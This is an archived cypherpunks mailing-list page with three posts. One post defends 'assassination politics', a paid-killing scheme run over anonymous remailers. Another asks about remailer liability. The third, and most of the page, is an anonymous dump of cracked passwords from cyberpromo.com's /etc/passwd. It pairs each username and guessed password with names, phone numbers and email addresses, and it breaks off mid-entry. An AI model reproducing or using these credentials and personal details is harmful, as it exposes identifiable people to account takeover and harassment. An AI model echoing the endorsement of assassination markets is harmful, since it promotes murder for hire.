December 2003 - cypherpunks-legacy

Re: PGP Security
by jim bell 17 Dec '03

17 Dec '03

At 07:16 PM 3/20/97 -0600, Igor Chudov @ home wrote: >Mark M. wrote: >> >> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive >> the following message which originated from "TruthMonger." Shortly after I >> received the message, anon.nymserver.com closed down all of its free, >> anonymous accounts due to "abuse." >> > >This is mostly addressed to jimbell: jim, it is now obvious that >the remailer network is as weak as a 5 year old child. It cannot >possibly withstand even mildest forms of "abuse". > >Due to this fact, I question the viability of your assassination >politics idea as it does not seem possible to safely operate an >assassination bot. I don't doubt that remailers need to be strengthened to support a "classic AP" system. However, complicating (or, perhaps, simplifying; depending on your point of view...) the issue is the fact that an AP-type system is going to be inherently self-protecting: Even if I wasn't inclined to donate to see the death of anybody else, I'd want to protect the underlying system to ensure its continued existence. I (and some others) are convinced that an AP-system would totally eliminate the series of tyrannies that governments have been throughout history. That, if true, is a _very_ valuable accomplishment to most of us, one for which we'd be wise to pay to achieve. And generally, where there is a demand, a free market supplies that desire with a product. Jim Bell jimbell(a)pacifier.com

1 0

Remailers: Free vs. Fee
by camcc＠abraxis.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- A question for those legally-minded list members. Poorly put: Does the requirement an individual pay a fee (or the acceptance of a fee) for remailing services create a liability on the part of the remailer in regard to the content of the message? Or, if the service is free does the remailer have less risk than if he charged for it? Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBMzRiyyKJGkNBIH7lAQHaxwP/Z73JUcG9qqS2cvvSGzforGEWstlRUv8v N9p6XUmoYoR2wo+D2wzmWsI8suIPGOwBHV5aKAds/tfJtzoPEQ7iEszREBpK1afT 6/D+KtEo1+Q0NNC8eatiJELvwqGUBBjzRXL1QP95fMQXoP0Gk70HjFZegLYWw7Fx FSUS/XKny/g= =sdLH -----END PGP SIGNATURE-----

2 1

some /etc/passwd stuff from Cyberpromo
by Secret Squirrel 17 Dec '03

17 Dec '03

A little mouse just came into my house and said that the following uz3rz at cyberpromo.com have the following passwords: - Ignoramus. Guessed broot [<no-ciphertext>] System Administrator [etc_passwd.fixed /bin/csh] Guessed box12 [box12 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed valscan [valscan [SINGER]] Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box8 [box8 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed greatsex [greatsex [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed makemony [greatsex [SINGER]] Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed greatads [greatads [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed vic [greatads [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box2 [box2 [SINGER]] [etc_passwd.fixed ] Guessed box7 [box7 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed checknsee [checknsee [DISNEY]] Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh] Guessed fixit [fixit [GEORGE]] Terry Judge,,216-745-9444,amerwtrprf(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed box9 [box9 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed results [results [SINGER]] Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box10 [box10 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed getrich [getrich [SINGER]] Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh] Guessed box5 [box5 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box11 [box11 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box3 [box3 [SINGER]] Mike Singer,,, [etc_passwd.fixed /bin/tcsh] Guessed box4 [box4 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed box6 [box6 [SINGER]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed gics [gics [SINGER]] Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh] Guessed julie [julie [SINGER]] Michael Singer,,, [etc_passwd.fixed /bin/tcsh] Guessed box1 [box1 [SINGER]] Michael Singer,, , [etc_passwd.fixed /bin/tcsh] Guessed action [action [SUCCESS]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed simple [simple [SOLUTION]] Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh] Guessed winnernet [winnernet [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed newma [newma [DANIEL]] Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh] Guessed coolbreeze [coolbreeze [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed esi [esi [RICHARD]] Richard Damewood,,, [etc_passwd.fixed /bin/tcsh] Guessed freebook [freebook [JOSEPH]] Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goldking [goldking [SPECIAL]] Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh] Guessed rav537 [rav537 [NATHAN]] Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh] Guessed bfranklin [bfranklin [SUCCESS]] Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed ourcoinc [ourcoinc [PROSPER]] Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh] Guessed bfepro [bfepro [BFE5253]] Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh] Guessed moneyman [moneyman [SUZANNE]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed gfaiusa [gfaiusa [MONEY]] Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh] Guessed exciting [exciting [SPECIAL]] Daniel Sheehey,,707-822-8324,djshee(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed autod [autod [GOGO]] Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh] Guessed lifeinfo [lifeinfo [LIFE]] Pete Mckeown,Life Extension,303-985-4371,leipro(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed setmefree [setmefree [SECRET]] Steve Walker,The Financial Alliance,904-387-1628,plsfreeme(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed cowcr [cowcr [COWCR]] Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed gpwhitepaper [gpwhitepaper [FRED]] Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh] Guessed accobra [accobra [ACCOBRA]] Glenn Pack,,, [etc_passwd.fixed /bin/tcsh] Guessed gasoline [gasoline [ANTHONY]] Mike Jacobellis,,,magnet(a)exp.net [etc_passwd.fixed /bin/tcsh] Guessed herpesinfo [herpesinfo [FREECTR]] Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh] Guessed richman [richman [SUZANNE]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed christian [christian [SUCCESS]] Jon Bender,peakpr4mer(a)aol.com,, [etc_passwd.fixed /bin/tcsh] Guessed goinfo [goinfo [GREEN]] Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh] Guessed datalux [datalux [WALLACE2]] Carole Moses,Crestar Enterprises,516-223-3607,careve(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed matrix [matrix [MATRIX]] Martin Parker,,matrixfund(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed sti [sti [FROGGY]] Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh] Guessed wwjp [wwjp [TRAVEL]] Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh] Guessed team1 [team1 [SUCCESS]] Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh] Guessed genesisgroup [genesisgroup [BRYAN]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed telecomm [telecomm [PARADIGM]] Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh] Guessed goodchecks [goodchecks [RAINBOW]] Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh] Guessed rpalm [rpalm [HAMMER]] Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh] Guessed info4unow [info4unow [ASHLEY]] Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh] Guessed skeptics [skeptics [COWCR]] Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goodincome [goodincome [MARKETIN]] Ron Linkous,,804-741-4432,rlink15133(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed tgtbt [tgtbt [COWCR]] Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed mailordman [mailordman [VICTOR]] Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh] Guessed peteexcel [peteexcel [CAMERON]] Pete Maneos,,610-337-1468,newmedia30(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed higher [higher [SUCCESS]] Eric gordon,,909-653-2357,teammlm(a)earthlink.net [etc_passwd.fixed /bin/tcsh] Guessed gasinfo [gasinfo [ANTHONY]] Mike Jacobellis,\,,magnet(a)exp.net [etc_passwd.fixed /bin/tcsh] Guessed asomerset [asomerset [SOMERSET]] DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh] Guessed childstory [childstory [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed hokamix [hokamix [STERLING]] Michael Medefind,Aellen Enterprises,916-987-1234,meandre(a)christcom.net [etc_passwd.fixed /bin/tcsh] Guessed gab [gab [NEWLIFE]] Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh] Guessed galatic [galatic [GALATIC]] Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh] Guessed report [report [INTERNET]] Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh] Guessed mountain1 [mountain1 [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed scanman [scanman [ASHLEY]] DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh] Guessed bwealthy [bwealthy [SUCCESS]] Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh] Guessed truthnet [truthnet [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed essentials [essentials [SUSAN]] Susan Pottish,,415-453-9546,svand(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed laser1 [laser1 [FREEDOM]] Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh] Guessed mother [mother [ANTHONY]] Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet(a)iosys.net [etc_passwd.fixed /bin/tcsh] Guessed freedom4u [freedom4u [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed pyruvate [pyruvate [WHEELS]] Jerry Schneider,,,pyruvate(a)ournetwork.com [etc_passwd.fixed /bin/tcsh] Guessed acarnegie [acarnegie [SUCCESS]] Jon Bender,,peakpr4mer(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed tatiana [tatiana [JOSEPH]] Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh] Guessed gor [gor [GORAVANI]] Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh] Guessed somerset [somerset [SOMERSET]] Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh] Guessed wheels [wheels [WHEELS]] Tony Marsello,,,multichev(a)earthlink.net [etc_passwd.fixed /bin/tcsh] Guessed freeeagle [freeeagle [FREEDOM]] Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh] Guessed team2 [team2 [SUCCESS]] Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh] Guessed aplus [aplus [STUDY]] Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh] Guessed theraven [theraven [KABOOM]] Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh] Guessed lash [lash [ANTHONY]] bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh] Guessed career [career [CHOICE]] Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh] Guessed giveinfo [giveinfo [VINCENT]] Vincent Garguilo,,718-256-0904,vinigar(a)peakaccess.net [etc_passwd.fixed /bin/tcsh] Guessed ournetwork [ournetwork [WHEELS]] Jerry Schneider,,206-588-0096,75020.2702(a)compuserve.com [etc_passwd.fixed /bin/tcsh] Guessed lightquest [lightquest [GORDON]] Gordon M. Curry,,972-431-4956,lightquest(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed visionpics [visionpics [RESPONSE]] Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh] Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]] Warren,,, [etc_passwd.fixed /bin/tcsh] Guessed jeffsmoney [jeffsmoney [JEFFSMON]] Jeff Jacobs,J+J Enterprises,212-290-4517,jeff(a)superteam.com [etc_passwd.fixed /bin/tcsh] Guessed global [global [DISCOVER]] Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh] Guessed linktvmem [linktvmem [LINKTVME]] Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh] Guessed phone [phone [PHONE]] Susan Pottish,,415-453-9546,svamd(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed products [products [MOUNTAIN]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed tnoni [tnoni [HEALTH]] Michael Avenoso,Riverwood Health,501-253-2535,amstar7(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed stink [stink [GREATSEX]] Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh] Guessed judge [judge [VANELGOR]] Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh] Guessed beitall [beitall [DOITNOW]] Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh] Guessed infolink [infolink [BARRYD]] Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh] Guessed bugbox [bugbox [BARRYD]] Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh] Guessed seicom [seicom [Hubertt]] Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh] Guessed yourreply [yourreply [REPORTS]] Vince Bedell,AAA Discount,702-564-9651,vince2602(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed wholesale [wholesale [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed profitsnow [profitsnow [MATTG]] Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh] Guessed freshair [freshair [BRADNEAR]] Brad Near,,, [etc_passwd.fixed /bin/tcsh] Guessed succeednow [succeednow [MARTINR]] Martin Ruiz,Golden Success,904-532-9753,martin(a)goldensuccess.com [etc_passwd.fixed /bin/tcsh] Guessed cmc [cmc [RANDYC]] Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh] Guessed contacts [contacts [MARTINRU]] Martin Ruiz,Golden Success,904-532-9753,martin(a)goldensuccess.com [etc_passwd.fixed /bin/tcsh] Guessed a1amway [a1amway [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed bizinfo [bizinfo [FLIGHT]] Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh] Guessed profitsonline [profitsonline [MATTG]] Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh] Guessed gasmlm [gasmlm [GSCHMIDT]] Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt(a)usa.net [etc_passwd.fixed /bin/tcsh] Guessed infosoft [infosoft [BRANDY]] Jay Pinkus, ,215-953-8239, [etc_passwd.fixed /bin/tcsh] Guessed ion [ion [MATTG]] Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh] Guessed mktamerica [mktamerica [CLONE]] Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh] Guessed futureplan [futureplan [STMARTIN]] Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh] Guessed inside [inside [INFO1]] Mark A. Watts,Inside Access,503-612-0538,insideacc(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed healthnow [healthnow [HARRY1]] Thomas M. Cox,,dodger3(a)laker.net, [etc_passwd.fixed /bin/tcsh] Guessed sms [sms [HARRY1]] Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh] Guessed success1 [success1 [PROMO1]] GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh] Guessed yousave [yousave [HARRY1]] Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed paulott [paulott [PAULOTT1]] Paul Ott,941-731-7855,pott123(a)aol.com, [etc_passwd.fixed /bin/tcsh] Guessed savenow [savenow [HARRY1]] Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh] Guessed utilizatt [utilizatt [FREEDOM2]] Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh] Guessed eric [eric [DIANE2]] Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh] Guessed contino [contino [CAREER4]] Carl Contino,First Family Internet Services,716-834-0057,contino(a)ffinternet.com [etc_passwd.fixed /bin/tcsh] Guessed emailfarmer [emailfarmer [RENERENE]] BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh] Guessed lighthouse [lighthouse [DATADATA]] Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh] Guessed earthtrust [earthtrust [DATADATA]] Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed empire [empire [RENERENE]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed earthangels [earthangels [DATADATA]] Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed futurenet [futurenet [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed lighthouses [lighthouses [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed astrology [astrology [DATADATA]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed bkinfo [bkinfo [RAYRAY]] Kareem Hassan,,216-439-1019,hawk7640(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed goldenaura [goldenaura [DATADATA]] ,,, [etc_passwd.fixed /bin/tcsh] Guessed shakespeare [shakespeare [DATADATA]] Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed rolyatge [rolyatge [DRAWDE]] George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh] Guessed rolyat [rolyat [DRAWDE]] George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh] Guessed details13 [details13 [111111]] Dave,Sheehan & Associates,,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed ompd [ompd [111111]] Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh] Guessed detailsnow [detailsnow [000000]] Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh] Guessed remove3 [remove3 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed details14 [details14 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed details15 [details15 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed vlk9 [vlk9 [123456]] ,VLK9 Network,602-874-9247,kat187(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed details12 [details12 [111111]] Dave,Sheehan & Associates,773-277-2900,dave(a)ompd.com [etc_passwd.fixed /bin/tcsh] Guessed hitme [hitme [000000]] Bob Wagner,Amerinet,305-534-2769,amerinet(a)bridge.net [etc_passwd.fixed /bin/tcsh] Guessed mkiely [mkiely [12345]] Al Walentis,VG Productions,610-370-2340,cyber1(a)nni.com [etc_passwd.fixed /bin/tcsh] Guessed vlk9a [vlk9a [123456]] Nancy A Tietien,VLK9 Network,602-874-9247,kat187(a)juno.com [etc_passwd.fixed /bin/tcsh] Guessed lists [lists [JOSHUA]] Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed website [lists [JOSHUA]] Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh] Guessed morinfo [morinfo [CESSNA]] John Fraine,,941-732-1872,hirate(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed ragesking [ragesking [KIMMY]] Gary S. Kuzel,,630-985-5191,gskinc(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed pichx [pichx [DRAGON]] Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh] Guessed srdindusry [srdindusry [SAILING]] Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh] Guessed softcell [softcell [SOFTIE]] Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh] Guessed glory [glory [HUMBOLDT]] Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh] Guessed mybox [mybox [FORWARD]] Thomas Cox,,, [etc_passwd.fixed /bin/tcsh] Guessed xtraco [xtraco [ORANGES]] Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco(a)cris.com [etc_passwd.fixed /bin/tcsh] Guessed eznrg [eznrg [DIAMOND]] Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh] Guessed a030253 [a030253 [SIERRA]] GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh] Guessed egtech [egtech [JOSHUA]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed homelab [homelab [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed mktginfo [mktginfo [MARTHA]] Robert Hutton,,,RHutton(a)mail.idt.net [etc_passwd.fixed /bin/tcsh] Guessed mikeplus2 [mikeplus2 [SNIFFY]] Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh] Guessed vistagroup [vistagroup [KODIAK]] George Gaul,The Vista Group,303-674-2256,captain(a)ecentral.com [etc_passwd.fixed /bin/tcsh] Guessed thanku [thanku [ELBOWS]] Doug Sutton,,, [etc_passwd.fixed /bin/tcsh] Guessed herbalpc [herbalpc [SPUNKY]] Pat Connolly / Joyce,,309-691-1762,herbalpc(a)ix.netcom.com [etc_passwd.fixed /bin/tcsh] Guessed testing [testing [MIRACLES]] Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh] Guessed wolfgang [wolfgang [OLIVER]] Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh] Guessed llgun [llgun [LOKEY]] Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh] Guessed xpres [xpres [LANSING]] Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh] Guessed give [give [TUCKER]] Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh] Guessed zen [zen [KITTY]] Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh] Guessed mustsee [mustsee [JACKSON]] Tom Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed aopptun [aopptun [BENNIE]] AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh] Guessed amnat3 [amnat3 [PARROT]] Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh] Guessed hologram [hologram [PHONECAR]] Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh] Guessed injuredjoe [injuredjoe [CAPTAIN]] Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh] Guessed healthy4u [healthy4u [BEGIN]] Betty M. Colombo,healthyu(a)juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh] Guessed tntalgae [tntalgae [FROSTY]] Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh] Guessed gks [gks [DANCER]] Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh] Guessed praetor [praetor [TEMP]] Dave Browning,,, [etc_passwd.fixed /bin/tcsh] Guessed midstateop [midstateop [SPIKE]] Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh] Guessed extractor [extractor [JOSHUA]] Barry Disney,,, [etc_passwd.fixed /bin/tcsh] Guessed lorios [lorios [DOLORES]] Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh] Guessed zitbuster [zitbuster [ARTURO]] Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh] Guessed showcase [showcase [MIDAS]] Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh] Guessed ableman [ableman [SEESAW]] Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh] Guessed infotape [infotape [STARFISH]] Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh] Guessed thegreen [thegreen [PEPPER]] Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh] Guessed aperillo [aperillo [BUNNER]] Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh] Guessed csn [csn [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed secret [secret [ALEXANDR]] Thomas Cox,,954-925-8132,dodger3(a)laker.net [etc_passwd.fixed /bin/tcsh] Guessed details [details [SKIPPY]] ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh] Guessed biznews [biznews [DRAGON]] Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh] Guessed hummingbrd [hummingbrd [CLOVER]] gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh] Guessed minesh [minesh [ASHWIN]] A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed JBA1231 [JBA1231 [STARSHIP]] Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh] Guessed freelance [freelance [SELINA]] Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh] Guessed univer [univer [PIPER]] James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh] Guessed rhutton [rhutton [MARTHA]] Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh] Guessed agape [agape [LOGOS]] Adrian Watson,Y.A.M. Incorporated,,hpatrick(a)nls.net [etc_passwd.fixed /bin/tcsh] Guessed awareness [awareness [HAPPY]] Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh] Guessed capital [capital [CESSNA]] Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth(a)aol.com [etc_passwd.fixed /bin/tcsh] Guessed infostart [infostart [GOFORIT]] Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh] Guessed donl [donl [DONELLE]] Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh] Guessed peak [peak [ORGASMIC]] Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh] Guessed vipvalues [vipvalues [GRACE]] Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh] Guessed lilleyen [lilleyen [GANDALF]] Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh] Guessed ozone [ozone [TOWLES]] Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh] Guessed welcome [welcome [SNOWSTOR]] Joe Kuhn,,908-220-1110,qwikmail(a)raven.cybercomm.net [etc_passwd.fixed /bin/tcsh] Guessed child [child [MIDAS]] Bill Panchuck,Showcase,eaglekoz(a)ix.netcom.com, [etc_passwd.fixed /bin/tcsh] Guessed cellular [cellular [DISKETTE]] John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh] Guessed sponsors [sponsors [BASKETBA]] Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops(a)kudos.net [etc_passwd.fixed /bin/tcsh] Guessed cbccorp [cbccorp 